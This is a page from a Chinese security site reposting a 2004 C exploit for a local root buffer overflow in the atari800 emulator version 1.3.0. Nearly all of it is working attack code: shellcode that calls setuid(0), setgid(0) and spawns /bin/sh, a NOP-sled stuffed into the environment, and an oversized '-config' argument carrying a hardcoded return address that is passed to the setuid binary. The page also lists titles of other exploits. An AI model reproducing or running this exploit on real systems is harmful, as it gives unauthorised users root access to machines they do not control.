首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Atari800 v.1.3.0 Local Root Exploit
来源:www.pi3.int.pl 作者:pi3 发布时间:2004-11-30  

Atari800 v.1.3.0 Local Root Exploit

/*
* Exploit for atari800 version 1.3.0 by pi3 (pi3ki31ny)
* Bug founed by Steve Kemp
* The post in bugtraq:
* http://www.securityfocus.com/bid/8322
* Greetz: [greetz on my web] && other my friends (you know who you are)
*
* ...::: -=[ www.pi3.int.pl ]=- :::...
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>

#define PATH "/usr/local/bin/atari800"
#define BUFS 250

/* ...::: -=[ www.pi3.int.pl ]=- :::... */

char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68\x3a"
"\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d"
"\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69\x68"
"\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68\x3a\x3a"
"\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04\xcd"
"\x80"

/* setuid(0) */

"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"

/* setgid(0) */

"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"

/* exec /bin/sh */

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
"\x80"

/* exit(0) */

"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

long ret_ad(char *a1, char *a2) {

// return (0xbffffffa-strlen(a1)-strlen(a2));
return 0xbfffee01;
}

int ussage(char *arg) {

printf("\n\t...::: -=[ exploit for atari800 version 1.3.0 by pi3 (pi3ki31ny) ]=- :::...\n");
printf("\n\tUssage:\n\t[+] %s [options]\n
-? <this help screen>
-o <offset>
-p PATH\n\n",arg);
exit(-1);
}

int main(int argc, char *argv[]) {

long ret,*buf_addr;
char *buf,envp[8196],*path=PATH;
static char *sh[0x02];
int i,opt,offset=0;
FILE *fp;

while((opt = getopt(argc,argv,"p:o:?")) != -1) {
switch(opt) {

case 'o':

offset=atoi(optarg);
break;

case 'p':

path=optarg;
break;

case '?':
default:

ussage(argv[0]);
break;
}
}

if ( (fp=fopen(path,"r"))==NULL) {
printf("\n*\tI can\'t open path to victim! - %s\t*\n\n",path);
ussage(argv[0]);
} fclose(fp);

if (!(buf=(char*)malloc(BUFS))) {
printf("\nI can\'t locate memory! - buf\n");
exit(-1);
}

printf("\n\t...::: -=[ exploit for atari800 version 1.3.0 by pi3 (pi3ki31ny) ]=- :::...\n");
printf("\n\t[+] Bulding buffors!\n");

ret=ret_ad(shellcode,path);
ret+=offset;

printf("\t[+] Using adres 0x%x\n",ret);

memset(envp,0x90,sizeof(envp));
for (i=0; i<strlen(shellcode); i++)
envp[8196-strlen(shellcode)+i] = shellcode[i];
sh[0x00]=envp;
sh[0x01]=NULL;

strcpy(buf,"AA");
buf_addr=(long*)&buf[2];

for(i=0;i<BUFS;i+=4) {
*(buf_addr) = ret; buf_addr++;
}

printf("\nExecuting the vuln program - %s\n\n",path);

execle(path,path,"-config", buf, 0, sh);

return 0;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mercury Mail 4.01 (Pegasus) IM
·Soldier of Fortune II <= 1.
·php <= 4.3.7 and <= 5.0.
·phpBB admin_cash.php File Incl
·MailEnable IMAP service Remote
·Star Wars Battlefront Fake Pla
·Winamp <= 5.06 'IN_CDDA.dll
·WS_FTP Server MKD Buffer Overf
·WodFtpDLX Client ActiveX Contr
·Serious engine Fake Players Do
·Halo Broadcast Client Crash
·Mercury Mail 4.01 IMAP Buffer
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved